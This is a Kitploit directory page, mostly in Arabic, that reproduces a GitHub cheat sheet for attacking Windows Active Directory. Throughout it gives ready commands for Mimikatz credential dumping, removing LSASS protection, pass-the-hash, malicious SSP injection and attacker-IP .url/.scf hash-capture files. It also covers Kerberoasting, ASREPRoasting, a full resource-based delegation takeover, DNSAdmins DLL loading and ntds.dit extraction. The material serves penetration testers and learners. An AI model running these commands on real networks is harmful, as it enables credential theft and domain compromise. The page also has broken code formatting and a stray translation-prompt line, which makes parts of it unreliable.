Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Active-Directory-Exploitation-Cheat-Sheet — ورقة غش تحتوي على طرق التعداد والهجوم الشائعة لـ Windows Active Directory. | Kitploit
أدوات/GitHubGitHub/s1ckb0y1337/active-directory-exploitation-cheat-sheet
تصعيد الامتيازاتالاستطلاعالاستغلالالحركة الجانبيةما بعد الاستغلالاختبار الاختراقالتعلم والتعليمموارد منسقة

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
s1ckb0y1337/active-directory-exploitation-cheat-sheet

Active-Directory-Exploitation-Cheat-Sheet

ورقة غش تحتوي على طرق التعداد والهجوم الشائعة لـ Windows Active Directory.

عرض المستودع
6.7k1.3k7منذ 3 أشهرتمت المراجعة من قبل Kitploit

Active Directory Exploitation Cheat Sheet

تحتوي ورقة الغش هذه على طرق التعداد والهجوم الشائعة لنظام Windows Active Directory.

ℹ️ تم إنشاء هذا المستودع بواسطة Nikos Katsiopis و Nikos Vourdas.

هذه ورقة الغش مستوحاة من مستودع PayloadAllTheThings.

مجرد تمشية الكلب

Summary

  • Active Directory Exploitation Cheat Sheet
    • Summary
    • Tools
    • Domain Enumeration
      • Using PowerView
      • Using AD Module
      • Using BloodHound
        • Remote BloodHound
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Export Enumerated Objects
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
    • Lateral Movement
      • Powershell Remoting
      • Remote Code Execution with PS Credentials
      • Import a PowerShell Module and Execute its Functions Remotely
      • Executing Remote Stateful commands
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS
      • Abusing Backup Operators Group
      • Abusing Exchange
      • Weaponizing Printer Bug
      • Abusing ACLs
      • Abusing IPv6 with mitm6
      • SID History Abuse
      • Exploiting SharePoint
      • Zerologon
      • PrintNightmare
      • Active Directory Certificate Services
      • No PAC
    • Domain Persistence
      • Golden Ticket Attack
      • DCsync Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • Custom SSP
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts

Tools

  • Powersploit
  • PowerUpSQL
  • Powermad
  • Impacket
  • Mimikatz
  • Rubeus -> النسخة المجمعة
  • BloodHound
  • AD Module
  • ASREPRoast
  • Adalanche

Domain Enumeration

Using PowerView

Powerview v.3.0
Powerview Wiki

  • الحصول على النطاق الحالي: Get-Domain

  • تعداد النطاقات الأخرى: Get-Domain -Domain <DomainName>

  • الحصول على SID النطاق: Get-DomainSID

  • الحصول على سياسة النطاق: ```powershell Get-DomainPolicy

    #Will show us the policy configurations of the Domain about system access or kerberos Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy

    root@kitploit:~
  • احصل على وحدات تحكم المجال: ```powershell Get-DomainController Get-DomainController -Domain

    root@kitploit:~
  • سرد مستخدمي المجال: ```powershell #Save all Domain Users to a file Get-DomainUser | Out-File -FilePath .\DomainUsers.txt

    #Will return specific properties of a specific user Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List

    #Enumerate user logged on a machine Get-NetLoggedon -ComputerName

    #Enumerate Session Information for a machine Get-NetSession -ComputerName

    #Enumerate domain machines of the current/specified domain where specific users are logged into Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName

    root@kitploit:~
  • تعداد أجهزة كمبيوتر المجال: ```powershell Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName

    #Enumerate Live machines Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName

    root@kitploit:~

❗ تصعيد الامتيازات إلى مسؤول المجال من خلال صيد المستخدمين:
لدى وصول مسؤول محلي على جهاز -> جلسة مسؤول المجال على هذا الجهاز -> أسر رمزته وانتحال هويته -> ربح!

استخدام وحدة AD

  • الحصول على المجال الحالي: Get-ADDomain

  • تعداد نطاقات أخرى: Get-ADDomain -Identity <Domain>

  • الحصول على SID المجال: Get-DomainSID

  • الحصول على وحدات تحكم المجال: ```powershell Get-ADDomainController Get-ADDomainController -Identity

    root@kitploit:~
  • تعداد مستخدمي المجال: ```powershell Get-ADUser -Filter * -Identity -Properties *

    #Get a specific "string" on a user's attribute Get-ADUser -Filter 'Description -like "wtver"' -Properties Description | select Name, Description

    root@kitploit:~
  • تعداد أجهزة الكمبيوتر في المجال: ```powershell Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter *

    root@kitploit:~
  • تعداد ثقة المجال: ```powershell Get-ADTrust -Filter * Get-ADTrust -Identity

    root@kitploit:~
  • Enum Forest Trust: ```powershell Get-ADForest Get-ADForest -Identity

    #Domains of Forest Enumeration (Get-ADForest).Domains

    root@kitploit:~
  • تعداد سياسة AppLocker المحلية الفعالة: ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

    root@kitploit:~

استخدام BloodHound

BloodHound عن بعد

مستودع Python BloodHound أو قم بتثبيته باستخدام `pip3 install bloodhound````powershell bloodhound-python -u -p -ns <Domain Controller's Ip> -d -c All

root@kitploit:~
#### في الموقع BloodHound```powershell
#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>

#Using PowerShell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>

استخدام Adalanche

Adalanche عن بُعد```bash

kali linux:

./adalanche collect activedirectory --domain
--username Username@Domain --password
--server

Example:

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb

-> Terminating successfully

Any error?:

LDAP Result Code 200 "Network Error": x509: certificate signed by unknown authority ?

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389

Invalid Credentials ?

./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
--authmode basic

Analyze data

go to web browser -> 127.0.0.1:8080

./adalanche analyze

root@kitploit:~
#### تصدير الكائنات المُعدَّدة

يمكنك تصدير الكائنات المُعدَّدة من أي وحدة/أمر cmdlet إلى ملف XML لتحليلها لاحقًا.

يقوم الأمر cmdlet `Export-Clixml` بإنشاء تمثيل قائم على XML للبنية التحتية للغة العامة (CLI) لكائن أو كائنات ويخزّنه في ملف. يمكنك بعد ذلك استخدام الأمر cmdlet `Import-Clixml` لإعادة إنشاء الكائن المحفوظ بناءً على محتويات ذلك الملف.```powershell
# Export Domain users to xml file.
Get-DomainUser | Export-CliXml .\DomainUsers.xml

# Later, when you want to utilise them for analysis even on any other machine.
$DomainUsers = Import-CliXml .\DomainUsers.xml

# You can now apply any condition, filters, etc.

$DomainUsers | select name

$DomainUsers | ? {$_.name -match "User's Name"}

أدوات التعداد المفيدة

  • ldapdomaindump مفرغ معلومات عبر LDAP
  • adidnsdump تفريغ DNS مدمج بواسطة أي مستخدم مصادق
  • ACLight اكتشاف متقدم للحسابات المميزة
  • ADRecon أداة استطلاع تفصيلية لـ Active Directory

تصعيد الامتيازات المحلية

  • Windows Local Privilege Escalation Cookbook كتاب وصفات لتصعيد الامتيازات المحلية في Windows

  • Juicy Potato إساءة استخدام امتيازات SeImpersonate أو SeAssignPrimaryToken لانتحال النظام

    ⚠️ يعمل فقط حتى Windows Server 2016 و Windows 10 حتى التحديث 1803

  • Lovely Potato Juicy Potato آلي

    ⚠️ يعمل فقط حتى Windows Server 2016 و Windows 10 حتى التحديث 1803

  • PrintSpoofer استغلال ثغرة الطابعة لانتحال النظام

    🙏 يعمل مع Windows Server 2019 و Windows 10

  • RoguePotato نسخة مطورة من Juicy Potato

    🙏 يعمل مع Windows Server 2019 و Windows 10

  • إساءة استخدام امتيازات الرموز

  • SMBGhost CVE-2020-0796
    PoC

  • CVE-2021-36934 (HiveNightmare/SeriousSAM)

أدوات مفيدة لتصعيد الامتيازات المحلية

  • PowerUp إساءة استخدام التهيئة الخاطئة
  • BeRoot أداة تعداد عام لتصعيد الامتيازات
  • Privesc أداة تعداد عام لتصعيد الامتيازات
  • FullPowers استعادة امتيازات حساب الخدمة

الحركة الجانبية

PowerShell Remoting```powershell

#Enable PowerShell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName Enter-PSSession -ComputerName OR -Sessions

root@kitploit:~
### تنفيذ التعليمات البرمجية عن بُعد باستخدام PS Credentials```powershell
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}

استيراد وحدة PowerShell وتنفيذ وظائفها عن بُعد```powershell

#Execute the command and start a session Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess

#Interact with the session Enter-PSSession -Session $sess

root@kitploit:~
### تنفيذ الأوامر عن بُعد ذات الحالة```powershell
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}

Mimikatz```powershell

#The commands are in cobalt strike format!

#Dump LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user: /ntlm:<> /domain:

#List all available kerberos tickets in memory mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#List cached MasterKeys mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys mimikatz sekurlsa::ekeys

#Dump SAM Database mimikatz lsadump::sam

#Dump SECRETS Database mimikatz lsadump::secrets

#Inject and dump the Domain Controler's Credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject

#Dump the Domain's Credentials without touching DC's LSASS and also remotely mimikatz lsadump::dcsync /domain: /all

#Dump old passwords and NTLM hashes of a user mimikatz lsadump::dcsync /user:<user> /history

#List and Dump local kerberos credentials mimikatz kerberos::list /dump

#Pass The Ticket mimikatz kerberos::ptt

#List TS/RDP sessions mimikatz ts::sessions

#List Vault credentials mimikatz vault::list

root@kitploit:~
:exclamation: ماذا لو فشلت mimikatz في تفريغ بيانات الاعتماد بسبب ضوابط حماية LSA؟

- LSA كعملية محمية (تجاوز نواة النظام)  ```powershell
  #Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
  reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

  #Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
  #Now lets import the mimidriver.sys to the system
  mimikatz # !+

  #Now lets remove the protection flags from lsass.exe process
  mimikatz # !processprotect /process:lsass.exe /remove

  #Finally run the logonpasswords function to dump lsass
  mimikatz # sekurlsa::logonpasswords
  • LSA كعملية محمية (تجاوز "بدون ملفات" في وضع المستخدم)

    • PPLdump
    • تجاوز حماية LSA في وضع المستخدم
  • LSA يعمل كعملية افتراضية (LSAISO) بواسطة Credential Guard ```powershell #Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso

    #If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data. #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides mimikatz # misc::memssp

    #Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log

    root@kitploit:~
  • دليل ميميكاتز المفصل

  • التجسس على خيارين لحماية lsass

بروتوكول سطح المكتب البعيد

إذا كان المضيف الذي نريد التنقل إليه بشكل جانبي يحتوي على "RestrictedAdmin" ممكّنًا، فيمكننا تمرير التجزئة (Pass the Hash) باستخدام بروتوكول RDP والحصول على جلسة تفاعلية بدون كلمة المرور النصية.

  • Mimikatz: ```powershell #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag privilege::debug sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"

    #Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated

    root@kitploit:~
  • xFreeRDP:```powershell xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u: /pth: /v:<Hostname | IPAddress>

root@kitploit:~
: :exclamation: إذا تم تعطيل وضع المسؤول المقيد على الجهاز البعيد، يمكننا الاتصال بالمضيف باستخدام أداة/بروتوكول آخر مثل psexec أو winrm وتمكينه عن طريق إنشاء مفتاح التسجيل التالي وتعيين قيمته إلى صفر: "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin".

- تجاوز قيود "جلسة واحدة لكل مستخدم"

على جهاز في نطاق (Domain)، إذا كان لديك تنفيذ أوامر كمسؤول النظام أو المسؤول المحلي وتريد جلسة RDP يستخدمها مستخدم آخر بالفعل، يمكنك تجاوز قيد الجلسة الواحدة عن طريق إضافة مفتاح التسجيل التالي:```powershell
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0

بعد الانتهاء من الأمور المطلوبة، يمكنك حذف المفتاح لإعادة فرض قيد جلسة واحدة لكل مستخدم.```powershell REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse

root@kitploit:~
### هجمات ملفات URL

- .url ملف  ```
  [InternetShortcut]
  URL=whatever
  WorkingDirectory=whatever
  IconFile=\\<AttackersIp>\%USERNAME%.icon
  IconIndex=1

Please provide the Markdown content to translate. ``` [InternetShortcut] URL=file:///leak/leak.html

root@kitploit:~
- .scf ملف  ```
[Shell]
Command=2
IconFile=\\<AttackersIp>\Share\test.ico
[Taskbar]
Command=ToggleDesktop

وضع هذه الملفات في مشاركة قابلة للكتابة، كل ما على الضحية فعله هو فتح مستكشف الملفات والانتقال إلى المشاركة. ملاحظة أن الملف لا يحتاج إلى فتحه أو تفاعل المستخدم معه، ولكن يجب أن يكون في أعلى نظام الملفات أو مرئيًا فقط في نافذة مستكشف Windows ليتم عرضه. استخدم responder لالتقاط التجزئات.

❗ هجمات ملفات .scf لن تعمل على أحدث إصدارات Windows.

أدوات مفيدة

  • Powercat netcat مكتوب بلغة powershell، ويوفر إمكانيات التوصيل (tunneling) والترحيل (relay) وإعادة توجيه المنافذ (portforward).
  • SCShell أداة حركة جانبية بدون ملفات تعتمد على ChangeServiceConfigA لتشغيل أمر.
  • Evil-Winrm غلاف WinRM النهائي للاختراق/الاختبارات الأمنية.
  • RunasCs إصدار Csharp ومفتوح المصدر من runas.exe المضمن في windows.
  • ntlm_theft ينشئ جميع تنسيقات الملفات الممكنة لهجمات ملفات url.

تصعيد الامتيازات على مستوى المجال

Kerberoast

ما هذا؟:
يمكن لجميع مستخدمي المجال العاديين طلب نسخة من جميع حسابات الخدمة مع تجزئات كلمات المرور المرتبطة بها، لذا يمكننا طلب TGS لأي SPN مرتبط بحساب 'مستخدم'
حساب، استخراج الكتلة المشفرة التي تم تشفيرها باستخدام كلمة مرور المستخدم واختراقها بالقوة الغاشمة (bruteforce) دون اتصال.

  • PowerView: ```powershell #Get User Accounts that are used as Service Accounts Get-NetUser -SPN

    #Get every available SPN account, request a TGS and dump its hash Invoke-Kerberoast

    #Requesting the TGS for a single account: Request-SPNTicket

    #Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"'

    root@kitploit:~
  • وحدة AD: ```powershell #Get User Accounts that are used as Service Accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

    root@kitploit:~
  • Impacket: ```powershell python GetUserSPNs.py /: -outputfile

    root@kitploit:~
  • Rubeus: ```powershell #Kerberoasting and outputing on a file with a specific format Rubeus.exe kerberoast /outfile: /domain:

    #Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /rc4opsec

    #Kerberoast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /aes

    #Kerberoast specific user account Rubeus.exe kerberoast /outfile: /domain: /user: /simple

    #Kerberoast by specifying the authentication credentials Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:

    root@kitploit:~

ASREPRoast

WUT IS DIS?: \ إذا كان حساب مستخدم المجال لا يتطلب المصادقة المسبقة لـ Kerberos، فيمكننا طلب TGT صالح لهذا الحساب دون الحاجة حتى إلى بيانات اعتماد المجال، واستخراج الكتلة
المشفرة واختراقها دون اتصال.

  • PowerView: Get-DomainUser -PreauthNotRequired -Verbose
  • AD Module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

تعطيل Kerberos Preauth قسريًا على حساب لدي صلاحيات الكتابة عليه أو أكثر! تحقق من الصلاحيات المثيرة للاهتمام على الحسابات:

تلميح: نضيف عامل تصفية مثل RDPUsers للحصول على "حسابات المستخدمين" وليس حسابات الآلات، لأن تجزئات حسابات الآلات غير قابلة للاختراق!

PowerView:```powershell Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose

root@kitploit:~
- وأخيرًا، قم بتنفيذ الهجوم باستخدام أداة [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast).  ```powershell
  #Get a specific Accounts hash:
  Get-ASREPHash -UserName <UserName> -Verbose

  #Get any ASREPRoastable Users hashes:
  Invoke-ASREPRoast -Verbose
  • استخدام Rubeus: ```powershell #Trying the attack for all domain users Rubeus.exe asreproast /format:<hashcat|john> /domain: /outfile:

    #ASREPRoast specific user Rubeus.exe asreproast /user: /format:<hashcat|john> /domain: /outfile:

    #ASREPRoast users of a specific OU (Organization Unit) Rubeus.exe asreproast /ou: /format:<hashcat|john> /domain: /outfile:

    root@kitploit:~
  • استخدام Impacket: ```powershell #Trying the attack for the specified users on the file python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile

    root@kitploit:~

هجوم رش كلمات المرور

إذا قمنا بجمع بعض كلمات المرور عن طريق اختراق حساب مستخدم، يمكننا استخدام هذه الطريقة لمحاولة استغلال إعادة استخدام كلمة المرور على حسابات المجال الأخرى.

الأدوات:

  • DomainPasswordSpray
  • CrackMapExec
  • Invoke-CleverSpray
  • Spray

فرض تعيين SPN

ما هذا؟: إذا كانت لدينا صلاحيات كافية -> GenericAll/GenericWrite يمكننا تعيين SPN على حساب مستهدف، وطلب TGS، ثم الحصول على blob الخاصة به واختراقها بالقوة الجبرية.

  • PowerView: ```powershell #Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

    #Check if current user has already an SPN setted: Get-DomainUser -Identity | select serviceprincipalname

    #Force set the SPN on the account: Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}

    root@kitploit:~
  • وحدة AD: ```powershell #Check if current user has already an SPN setted Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName

    #Force set the SPN on the account: Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'}

    root@kitploit:~

أخيرًا استخدم أي أداة من الأدوات السابقة للحصول على الـ hash وقم بعملية Kerberoast عليه!

استغلال Shadow Copies

إذا كان لديك صلاحية المدير المحلي على جهاز، فحاول سرد Shadow Copies، فهي طريقة سهلة لـ Domain Escalation.```powershell #List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows

#List shadow copies using diskshadow diskshadow list shadows all

#Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

root@kitploit:~
1. يمكنك تفريغ قاعدة بيانات SAM المنسوخة واستخراج بيانات الاعتماد.
2. ابحث عن بيانات الاعتماد المخزنة باستخدام DPAPI وقم بفك تشفيرها.
3. الوصول إلى الملفات الحساسة المنسوخة.

### سرد وفك تشفير بيانات الاعتماد المخزنة باستخدام Mimikatz

عادةً ما تُخزّن بيانات الاعتماد المشفرة في:

- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials````powershell
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"

#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc

#We now have the masterkey in our local cache:
dpapi::cache

#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

مقالة مفصلة: DPAPI all the things

تفويض غير مقيد

ما هذا؟: إذا كان لدينا وصول إداري على جهاز تم تمكين التفويض غير المقيد عليه، يمكننا انتظار اتصال هدف عالي القيمة أو مسؤول مجال به، وسرقة TGT الخاص به ثم تنفيذ ptt وانتحال شخصيته!

باستخدام PowerView:```powershell #Discover domain joined computers that have Unconstrained Delegation enabled Get-NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#Command to monitor any incoming sessions on our compromised server Invoke-UserHunter -ComputerName -Poll -UserName -Delay -Verbose

#Dump the tickets to disk: Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#Impersonate the user using ptt attack: Invoke-Mimikatz -Command '"kerberos::ptt "'

root@kitploit:~
**ملاحظة:** يمكننا أيضًا استخدام Rubeus!

### التفويض المقيد

باستخدام PowerView و Kekeo:```powershell
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>

#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>

#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'

بديل: باستخدام Rubeus:```powershell Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"<Service's SPN>" /altservice: /ptt

root@kitploit:~
الآن يمكننا الوصول إلى الخدمة كمستخدم تم انتحال هويته!

:triangular_flag_on_post: **ماذا لو كانت لدينا حقوق التفويض فقط لـ SPN معين؟ (مثل TIME):**

في هذه الحالة، لا يزال بإمكاننا إساءة استخدام ميزة في Kerberos تُسمى "الخدمة البديلة". يسمح لنا هذا بطلب تذاكر TGS لخدمات "بديلة" أخرى وليس فقط للخدمة التي لدينا حقوق لها. وهذا يمنحنا القدرة على طلب تذاكر صالحة لأي خدمة نريدها يدعمها المضيف، مما يمنحنا وصولاً كاملاً إلى الجهاز المستهدف.

### التفويض المقيد القائم على الموارد

_ما هذا؟: \
TL;DR \
إذا كان لدينا امتيازات GenericALL/GenericWrite على كائن حساب جهاز في مجال، يمكننا إساءة استخدامه وانتحال هوية أنفسنا كأي مستخدم في المجال له. على سبيل المثال، يمكننا انتحال هوية مدير المجال والحصول على وصول كامل._

الأدوات التي سنستخدمها:

- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Rubeus](https://github.com/GhostPack/Rubeus)

أولاً، نحتاج إلى الدخول في السياق الأمني لحساب المستخدم/الجهاز الذي لديه الامتيازات على الكائن. إذا كان حساب مستخدم، يمكننا استخدام Pass the Hash، RDP، PSCredentials، إلخ.

مثال على الاستغلال:```powershell
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid

#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'

#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$

مقالات مفصلة:

  • Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
  • RESOURCE-BASED CONSTRAINED DELEGATION ABUSE

❗ في Constrain و Resource-Based Constrained Delegation إذا لم يكن لدينا كلمة المرور/الهاش للحساب الذي يحمل TRUSTED_TO_AUTH_FOR_DELEGATION والذي نحاول إساءة استخدامه، يمكننا استخدام الخدعة الرائعة "tgt::deleg" من kekeo أو "tgtdeleg" من rubeus وخداع Kerberos لمنحنا TGT صالح لذلك الحساب. ثم نستخدم التذكرة بدلاً من هاش الحساب لتنفيذ الهجوم.```powershell #Command on Rubeus Rubeus.exe tgtdeleg /nowrap

root@kitploit:~
### إساءة استخدام DNSAdmins

_ما هذا؟: إذا كان المستخدم عضوًا في مجموعة DNSAdmins، فيمكنه تحميل مكتبة DLL عشوائية بصلاحيات dns.exe التي تعمل كـ SYSTEM. في حال كان الخادم المجال (DC) يخدم DNS، يمكن للمستخدم تصعيد صلاحياته إلى DA. تتطلب عملية الاستغلال هذه صلاحيات لإعادة تشغيل خدمة DNS حتى تعمل._

1. تعداد أعضاء مجموعة DNSAdmins:
   - PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"`
   - AD Module: `Get-ADGroupMember -Identiny DNSAdmins`
2. بمجرد العثور على عضو في هذه المجموعة، نحتاج إلى اختراقه (هناك طرق عديدة).
3. ثم عن طريق تقديم DLL ضار على مشاركة SMB وتكوين استخدام الـ DLL، يمكننا تصعيد صلاحياتنا:

Detailed Article:
[Rubeus – Now With More Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/)   ```powershell
   #Using dnscmd:
   dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll

   #Restart the DNS Service:
   sc \\DNSServer stop dns
   sc \\DNSServer start dns

إساءة استخدام DNS المتكامل مع Active Directory

  • استغلال DNS المتكامل مع Active Directory
  • إعادة النظر في ADIDNS
  • Inveigh

إساءة استخدام مجموعة Backup Operators

ما هذا؟: إذا تمكنا من اختراق حساب مستخدم هو عضو في مجموعة Backup Operators، فيمكننا استغلال صلاحية SeBackupPrivilege الخاصة به لإنشاء نسخة ظلّية للحالة الحالية لوحدة التحكم بالمجال (DC)، واستخراج ملف قاعدة البيانات ntds.dit، وتفريغ تجزئات كلمات المرور، ورفع صلاحياتنا إلى مسؤول المجال (DA).

  1. بمجرد حصولنا على إمكانية الوصول إلى حساب لديه صلاحية SeBackupPrivilege، يمكننا الوصول إلى وحدة التحكم بالمجال وإنشاء نسخة ظلّية باستخدام الأداة الثنائية المُوقعة diskshadow: ```powershell #Create a .txt file that will contain the shadow copy process script Script ->{ set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive

    create

    expose %mydrive% w: end backup }

    #Execute diskshadow with our script as parameter diskshadow /s script.txt

    root@kitploit:~
